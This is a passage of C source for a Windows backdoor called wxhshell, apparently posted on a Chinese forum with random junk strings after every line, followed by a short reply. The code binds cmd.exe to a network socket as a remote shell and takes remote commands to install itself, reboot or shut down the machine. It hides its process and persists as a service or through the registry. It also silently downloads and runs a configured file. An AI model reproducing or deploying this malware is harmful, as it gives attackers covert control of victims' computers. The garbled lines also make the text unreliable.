    switch(cmd[0]) { pWH,nn?w.  
  <q I!Dj{  
  // 帮助 t4hc X[  
  case '?': { v}IhO~`uEq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Qf'g2 \  
    break; 43O5|8o  
  } O{U j  
  // 安装 Krl9O]H/[  
  case 'i': { &zP> pQr`#  
    if(Install()) $Fy >N>,E(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bUYjmb2g)  
    else DhsvN&yNM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :V_UJ3xf  
    break; !*?9n ^PaF  
    } ip1gCH/?_+  
  // 卸载 6mgLeeY  
  case 'r': { 47f\  
    if(Uninstall()) #k)t.P Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B^d di  
    else =([4pG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6)20%*[  
    break; 1<*U:W $g  
    } [%~yY&  
  // 显示 wxhshell 所在路径 '6*9pG-  
  case 'p': { |y+_BZ5  
    char svExeFile[MAX_PATH]; L1y71+iqU  
    strcpy(svExeFile,"\n\r"); 33&\E- Q>  
      strcat(svExeFile,ExeFile); wTG(U3{3K  
        send(wsh,svExeFile,strlen(svExeFile),0); %hdjQIH  
    break; :)&vf<JL  
    } hr hj4  
  // 重启 ~03MH'  
  case 'b': { 1xh7KBr,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eg1F[~YL/  
    if(Boot(REBOOT)) dep"$pys>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @X560_x[q  
    else {  _-9cGm v  
    closesocket(wsh); t*u#4I1  
    ExitThread(0); SQ/HZ  
    } tCar:p4$  
    break; kQQDaZ 8  
    } y*v|q=  
  // 关机 NSH4 @x  
  case 'd': { mZjpPlJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  ARs]qUY  
    if(Boot(SHUTDOWN)) yf4L0.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BBv+*jj  
    else { &|db}\jT  
    closesocket(wsh); -|>T? t'K  
    ExitThread(0); \k{[HfVvn  
    } 4-Jwy  
    break; 2i1xSKRYrD  
    } .`V$j.a  
  // 获取shell $$"G1<EZ  
  case 's': { {8`$~c  
    CmdShell(wsh); ;[(d=6{hc]  
    closesocket(wsh); a(ITv roM/  
    ExitThread(0); \<09.q<8  
    break; B&0 W P5OF  
  } ^w2 HF  
  // 退出 cO 5zg<wF  
  case 'x': { !\9^|Ef?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 22U`1AD3U  
    CloseIt(wsh); j0V/\Ep)T<  
    break; F"O\uo:3  
    } Ki7t?4YE  
  // 离开 G -+!h4p  
  case 'q': { 85;bJfY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T?1V%!a;f  
    closesocket(wsh); /kg#i&bP~  
    WSACleanup(); nJ xO.wWE  
    exit(1); G9yK/g&q  
    break; Jww#zEK  
        } _vDmiIn6K  
  } OE9,D:t v  
  } o ]z#~^w  
lw.[qP  
  // 提示信息 D&D6!jz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |?8nO.C~V  
} J ou*e%  
  } v^8sL` F  
(;%T]?<9#  
  return; /lu|FWbEw  
} w K#*|  
jy?*`q1]  
// shell模块句柄 J'$NBws  
int CmdShell(SOCKET sock) "QxULiw  
{ /#H P;>!n  
STARTUPINFO si; e5P9P%1w  
ZeroMemory(&si,sizeof(si)); hr6j+p:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^MF 2Q+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X.k8w\~  
PROCESS_INFORMATION ProcessInfo; 40h$- VYT/  
char cmdline[]="cmd"; %oTBh*K'o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Kw" y#Ys]  
  return 0; F}ATY!  
} a*U[;(  
W/>a 1  
// 自身启动模式 to</  
int StartFromService(void) "g&f:[a/  
{ ] h(Iun  
typedef struct 4^l9d  
{ 8Sj<,+XFq  
  DWORD ExitStatus; d$3md<lIB  
  DWORD PebBaseAddress; pka^7OWyN  
  DWORD AffinityMask; $sda'L5^p  
  DWORD BasePriority; &l1t5 !  
  ULONG UniqueProcessId; "5~?`5Ff  
  ULONG InheritedFromUniqueProcessId; $jE<n/8  
}   PROCESS_BASIC_INFORMATION; SYA~I-OYc  
|<,qnf | -  
PROCNTQSIP NtQueryInformationProcess; (4/"uj5  
r+E!V'{C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nsU7cLf"^V  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Qr$ 7 U6p  
Yz_}*  
  HANDLE             hProcess; &|GH@^)@  
  PROCESS_BASIC_INFORMATION pbi; iIX%%r+  
{\`tt c>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h$!YKfhq}  
  if(NULL == hInst ) return 0; |kPgXq6  
'`k7l7I[@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M*gvYo  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )2?]c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C78g|n{  
DPxx9lN_rx  
  if (!NtQueryInformationProcess) return 0; (c0L H  
SQ4^sk_!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #C&';HB;y  
  if(!hProcess) return 0; zl :by?  
KqntOo} y)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }vZf&ib-   
?DUim1KG  
  CloseHandle(hProcess); :a;F3NJ  
aj;x:UqpJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); > UZ-['H  
if(hProcess==NULL) return 0; !\R5/-_UU  
SqPqL<,e  
HMODULE hMod; L.'61ZU  
char procName[255];  YFm%W@  
unsigned long cbNeeded; uE')<fVX(  
GuR^L@+ -.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &SbdX   
e7;7TrB.  
  CloseHandle(hProcess); u.X]K:Yow  
#Pg`0xiV  
if(strstr(procName,"services")) return 1; // 以服务启动 g ,JfT^  
.J O3#  
  return 0; // 注册表启动 qo3+=*"V  
} $ uTrM8  
+=E\sEe  
// 主模块 hO8xH +;  
int StartWxhshell(LPSTR lpCmdLine) vlkw Wm  
{ g]vB\5uA:  
  SOCKET wsl; ik(YJw'i7E  
BOOL val=TRUE; cgrSd99.  
  int port=0; ]?VVwft  
  struct sockaddr_in door; 2(DhKHrF  
,EEAxmf  
  if(wscfg.ws_autoins) Install(); ,.9lz  
eWAD;x?.  
port=atoi(lpCmdLine); S3%2T  
-8qCCV&1i  
if(port<=0) port=wscfg.ws_port; h<%$?h+}  
k^%=\c  
  WSADATA data; >b2!&dm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /lC# !$9vz  
h s',f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   sr;&/l#7h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AA=Ob$2$  
  door.sin_family = AF_INET; $XQgat@&]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]4H)GWHKg  
  door.sin_port = htons(port); 06Wqfzceb  
c_vGr55  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZXb|3|D  
closesocket(wsl); !j'LZ7  
return 1; N[W#wYbH  
} P'8RaO&d  
%htI!b+"@  
  if(listen(wsl,2) == INVALID_SOCKET) { v>`Fo[c  
closesocket(wsl); ]F+|C  
return 1; j<kW+Iio  
} Kc\8GkdB  
  Wxhshell(wsl); _\\Al v.  
  WSACleanup(); Cik1~5iF  
p48enH8CO  
return 0; -O$vJ,*  
%mmV#vwp  
} 9 ~W]D!m,  
#[jS&rr(  
// 以NT服务方式启动 3&})gU&a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MuD ? KK  
{ *S*49Hq7c  
DWORD   status = 0; iKo2bC:.&  
  DWORD   specificError = 0xfffffff; EF<TU.)Zf  
kV1L.Xg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =OF hM7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \#%GVru!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m'}`+#C%)  
  serviceStatus.dwWin32ExitCode     = 0; 60%nQhb  
  serviceStatus.dwServiceSpecificExitCode = 0; Q8`V0E\~  
  serviceStatus.dwCheckPoint       = 0; o_Zs0/  
  serviceStatus.dwWaitHint       = 0; x"q]~u<rB  
D@&xj_#\}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H[.)&7M\  
  if (hServiceStatusHandle==0) return; `D%i`"~Lf&  
*4 LS``  
status = GetLastError(); nV8'QDQ:Al  
  if (status!=NO_ERROR) fd *XK/h  
{ s\mA3t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;l!<A  
    serviceStatus.dwCheckPoint       = 0; H Y5R  
    serviceStatus.dwWaitHint       = 0; #,z-Pj?O!  
    serviceStatus.dwWin32ExitCode     = status; Ac U@H0  
    serviceStatus.dwServiceSpecificExitCode = specificError; )dfhy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vNjc  
    return; f@;pN=PS  
  } lUjZ=3"'  
V7U*09 0*5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >;9g`d  
  serviceStatus.dwCheckPoint       = 0; _fk}d[q0  
  serviceStatus.dwWaitHint       = 0; @@*x/"GJG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PsUO8g'\  
} }i^M<A O  
9 RDs`>v  
// 处理NT服务事件,比如:启动、停止 p+~Imf-Jk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z$^wCd:  
{ aR3jeB,=x  
switch(fdwControl) *e [*  
{ <6-73LsHcP  
case SERVICE_CONTROL_STOP: @>(JC]HtR  
  serviceStatus.dwWin32ExitCode = 0; `5- ;'nX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JfkEJk<  
  serviceStatus.dwCheckPoint   = 0; fSd|6iFH  
  serviceStatus.dwWaitHint     = 0; KC}G_"f.$  
  { h'S0XU ;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mw,]Pt6~i  
  } =LLpJ+  
  return; dCM &Yf}K  
case SERVICE_CONTROL_PAUSE: `scW.Vem  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N<SW $ o  
  break; ^@/wXj:  
case SERVICE_CONTROL_CONTINUE: E8av/O VUd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OP+*%$wR  
  break; }JtcAuQt  
case SERVICE_CONTROL_INTERROGATE: 3(K.:376  
  break; T"htWo{v>  
}; rF[-4t %  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `Eg X#  
} #tg\ bb  
F^{31iU~CX  
// 标准应用程序主函数 g~-IT&O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #f(tzPD  
{ L44|/~  
T\.~!Q  
// 获取操作系统版本 fr`#s\JKw  
OsIsNt=GetOsVer(); #@-dT,t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |in>`:qk  
#QsJr_=  
  // 从命令行安装 ~Qif-|[V  
  if(strpbrk(lpCmdLine,"iI")) Install(); "Ia.$,k9  
PdVY tK%  
  // 下载执行文件 Ndl{f=sjX-  
if(wscfg.ws_downexe) { I-8I/RRkmP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H[: lQ\  
  WinExec(wscfg.ws_filenam,SW_HIDE); P%&|?e~D^  
} c/.s`hz  
:mDOqlXW/  
if(!OsIsNt) { 1O,5bi>t7  
// 如果时win9x,隐藏进程并且设置为注册表启动 c]1AM)xo  
HideProc(); ZYY~A_C  
StartWxhshell(lpCmdLine); PUD8  
} \kV|S=~@  
else AW \uE[kg  
  if(StartFromService()) %I`'it2d  
  // 以服务方式启动 m["e7>9G  
  StartServiceCtrlDispatcher(DispatchTable); wvisu\V  
else @$kzes\  
  // 普通方式启动 a5m[ N'kah  
  StartWxhshell(lpCmdLine); ~Fo2MwE2~  
id+EBVHAd  
return 0; :I /9j=@1  
}
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只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
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